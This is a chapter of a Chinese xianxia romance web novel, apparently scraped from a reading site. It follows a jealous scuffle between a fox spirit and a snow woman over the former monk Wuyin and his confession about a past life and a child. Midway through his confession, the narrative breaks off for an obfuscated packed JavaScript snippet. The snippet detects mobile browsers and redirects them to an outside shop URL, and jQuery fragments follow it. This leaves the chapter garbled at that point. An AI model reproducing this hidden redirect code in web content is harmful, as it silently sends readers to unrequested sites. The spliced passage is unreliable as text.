53. 第 53 章

作品:《大圣被当炉鼎刷了之后

    硬要追根溯源的话,还要说到他还是孩童的时候。


    那时候,族中祭司教他识文断字,讲到这首曲子时,便曾逐字逐句地向他教过其中意义。


    后来的乐理课上,祭司也一指一弦地传授音符,讲诉了关于那名“圣人”的作为。


    而后再叮嘱他:“我们如今心安理得所享受的每一分太平,都是前人以尸骨垒砌而成。这个道理,旁人不懂,也不必懂,但你不同,你是南庭未来的希望,只有你,必须懂,有些事,也必须去做。”


    李长歧后来花了好几年时间,游历整个南庭,见识国民哀乐悲喜之后,才真正明白祭司想要告诉他的东西。


    再后来,却是家破人亡,他将这段记忆悄然遗忘。


    只这曲子,不必刻意回想也能丝毫无误地弹奏,吟唱……


    不远处的修士们还在窃窃私语,有的已经开始拓印影像。


    “……他们也在祭奠大圣啊。”


    “他们的修为都很低啊,也许只是为了祭奠大圣而齐聚于此吧……我在附近酒楼里也看到好几次这样的事了,不少人都在弹奏大圣遗音,想必都是在缅怀衔珠大圣啊。”


    “……”


    人们交谈不断,却丝毫无法影响那一曲终了。


    李长歧手掌放在琴弦上,彻底止了声。


    他将琴还给岁元,叹道:“还得是你狐狸仙的嗓子,不减当年。”


    岁元摇摇头:“旧词新唱,也是今非昨日啊……”


    他们听的是曲,只有她唱的是人。


    因为,大圣遗音中的大圣,亦是她的故人。


    百里明璋接着话头,笑道:“我也赞同长歧的话,什么今啊昨的,不都得向前看,没区别。”


    “……”


    祝缘青寻着琴声而来时,目光便直直落在了那低着头的无垠身上。


    他从前是金光洞的弟子,轻易近不得他的身,而如今,神功已破,罪孽满身……一身寻常布衣,如是普通凡人。


    他前世身陨之时,祝缘青也曾发誓,此生不再寻他。


    然情之一字,终究是太过晦涩。


    她始终看不透,放不下,以至于总是不得安宁,时时刻刻,倍受煎熬。


    此刻望着那个青松般的身影,眼泪,已是不由自主落了下来。


    ……如果,一开始就没有相识,多好。


    沉默中,无垠似有所感,缓缓抬头,朝她看去。


    可就在祝缘青千言万语哽在喉头之时,无垠身侧的岁元忽然身子一软,直接趴在无垠身上。


    那丰盈饱满的身子不知何时衣襟敞开,香肩外露,纤细娇嫩的腰肢,还有那娇俏弄人的三条尾巴,无不紧紧相贴,将无垠给缠了个遍。


    无垠:“……”


    虽然不太可能,但——朋友,我好像要死了。


    岁元哪知他的心思,只不忘伸手去摸摸他的脸,姿态亲昵又暧昧,语气全是挑衅:“小雪花,这金仙你缠他几辈子已经足够,得还给我们了哦。”


    此情此景,不亚于在祝缘青的心窝子上烙馅饼——她就知道这骚狐狸没安好心!


    她眉头直跳:“你,起开!”


    说完又死死地盯了无垠一眼:“你就任她这般肆意?!”


    无垠却在此时已经施法挣脱岁元的纠缠,可还没等他开口,祝缘青便化作一道白光,瞬间撞到岁元和他的身上,紧接着就和岁元撕在一起。


    一旁众人叹为观止,李长歧摸着下巴点评:“我还是头一次见到招式这么朴实无华的斗殴。”


    其他人:“……”


    “哎呀,你急什么,从前顾忌着金光洞的绝学,不忍让他破戒,如今我看他也是破罐子破摔,不在乎那些七情六欲,索性我还没尝过咸淡,不如给我用用啊。”岁元闪身避开祝缘青的掌风,心里厌恶雪女,说的话也是荤素不忌,字字带刺,专捅她心窝子:“你试过的嘛,来和姐姐说说,我们青荷上人从前神功了得,滋味一定很美妙吧!”


    “岁元。”无垠无奈,岁元的玩笑向来是六亲不认,他们几个都招架不住,更不用提祝缘青%简直整个都要炸掉了。


    他摇头,退后了两步,避开岁元的冒犯,又反手捏住她的手腕,岁离转头,抬手另一手挡住祝缘青的掌风,“行了。”


    岁元挣脱他的手,没好气道:“切,就知道帮你说话讨不到好。”


    无垠心说你这忙帮得真是出其不意。


    他看向祝缘青,欲说还休地问了句不咸不淡的废话:“……你可还好?”


    祝缘青皮笑肉不笑:“不比青荷上人身边佳人多情。”


    “……”行,你就阴阳怪气吧。


    无垠收回手,淡淡道:“今日巡游盛会,城中修士众多,你不该来。”


    若非看在自己的面子上,祝缘青在进城的第一时间,岁元都能把她杀了。


    也就她心大。


    “那你是要我就这样走吗?”祝缘青看着他,看着他身后看热闹的众人,莫名有了种陌生的感触——那是说不上来的无端委屈,可她还是要强:“你就任由她欺负我。”


    不想这话叫岁元听得全身汗毛都要竖起来了,也跟着阴阳怪气起来:“……不得了,不得了,哎呀,许久未见,你这小雪花都会示弱了。”


    以往可听不见她说什么“欺负”这种话,从来只有她一言不合就出手伤人,要生要死的份儿。


    祝缘青缘何变化如此之大,无垠却是心知肚明,却又无法与外人道也。


    他只得长长地叹气,对祝缘青道:“……这里不是你该来的地方,你先回去,之后我会去寻你。”


    祝缘青狠狠瞪了一眼岁元,才转身离开。


    等她走后,岁元却已满脸不可置信:“不是,你怎么调教的,变得这么听话了?我有点不适应。”


    百里明璋也神色古怪,语气充满了不确定:“我好像看到你跟她有了点血缘纠葛?怎么着,小明你这是当爹了?”


    他这话音一落,岁元和李长歧跟净月都嗖一下挤了过来,围着他转:“不会吧?”


    “……”迎着几人的目光,无垠神色一瞬僵硬,而后复杂,最后邹成老爷爷,总之是一言难尽。


    李长歧怼他肩膀:“这时候还装什么装,敢做不敢当?”


    无垠象征性地摸了摸自己的鼻子掩饰尴尬,叹道:“我已不是金明传人,要不还是换个称呼吧……”


    毕竟一开始,他们喊他小明,就是因他那个金明经衍生而来。


    他这回答显然不合众人心意,遂不语,只一动不动地盯着他。


    无垠自知瞒不下去,好在对着这几人,他也没打算一直隐瞒,只是觉得不知怎么开口,才……眼下,他只得半推半就地,简单地说了下前世经历。


    “前世


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791285|184481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我在吞噬邪祟被反噬之后,本来应该是和我的同门师长一样就此陨落,却在紧要关头,被神魂中的金明传承保住一条命,但我也因此功力尽散,沦为凡人……在人间几经死生徘徊,最终被她出手相助。”


    此后数年寻常,说是意料之外,也在情理之中。


    别说他神功在身都因她而被迫犯过几次色戒。


    沦为凡人之后自然更是毫无还手之力。


    但究竟是几分被迫亦或几分真心,他自己也说不上来。


    他只是有些迷茫:“我不知道她强留下那孩子,究竟是对还是错。”


    “听你这意思,”百里明璋只挑重点问:“难不成你还想大义灭亲?”


    “如果我还是青荷上人,或许也说不定,但如今……”无垠无奈,垂下的眼睑,不知道隐去了多少愁绪,只轻声道:“其实硬要说起来,我与小青确实该有一场子女缘,在我与她最初相识时。只是我们缘浅,那孩子福薄。”


    他是个人啊。


    血肉之心,何以割舍?


    过去的孩子也好,现在的孩子也好,或者说祝缘青,他都舍不得。


    如果最初那一世,那个孩子能成功降世,没有仙门作祟,或许他们那一辈子也许就这么平平安安地过去了。


    但世事总是不如人意。


    他们最初相遇时,爱恨情仇,都一并结成。


    “没看出来你这还是个多情种啊,怎么就入了金光洞呢,”李长歧对此不是很理解,仍旧围着他转圈圈:“照这么说,你当初直接入仙门不好么?我听了不少仙门的虐恋八卦,就比如你可以去当个剑修,最好是净月这样的无情剑,再把那什么“剑谱第一页,心中无女人,悟道第一课,先捅意中人”的精髓练到极致,你俩说不定还能讨个相爱相杀的结局。”


    “……”无辜中剑的净月:“倒也不必拉我下水,再说了,我们无情剑也不是用来打意中人的。”


    她说得理直气壮,却引来李长歧的无情谴责:“所以你这无情剑毕不了业。”


    净月:“……”


    无垠:“……”你算是把剑修的套路看明白了。


    他哭笑不得道:“我从前,就只能修习金光洞的功法,且神魂一旦苏醒就是渡不完的劫,你说那什么剑修,我沾不了边。”


    再说了,他这脑子得坏成什么样才会为了搞对象去修无情道。


    无聊透顶了。


    “那祝姑娘估计就是你的情劫啊。”李长歧语气幽幽,摸着并不存在的胡须佯装老气横秋:“以前总听那些佛修说什么人生八苦啊,什么求不得,爱别离阿巴阿巴的,唉,大概就是你们这模样了,老夫实在看不懂。”


    一旁的岁元忍不住踹他一脚:“你老夫个鬼啊,我们几个里面,就数你最年轻啦!”


    无垠一笑,却是反问他:“长歧,你可曾动过情?愿为之生,为之死,为之奋不顾身,九死无悔?”


    好扎心的问题,李长歧咬牙切齿:“你存心的是吧?”


    无垠耸耸肩,摊摊手,淡淡道:“也没有吧……只是好奇罢了,毕竟你没有修完净月的大道剑。我听说大道剑需断情绝爱者才能修成,你没修成,那说明你小子六根不净啊……六根不净之人,最易动情。”


    李长歧语气幽幽:“我又不修金明经,我要什么六根清净?”


    被反将一军的无垠:“……”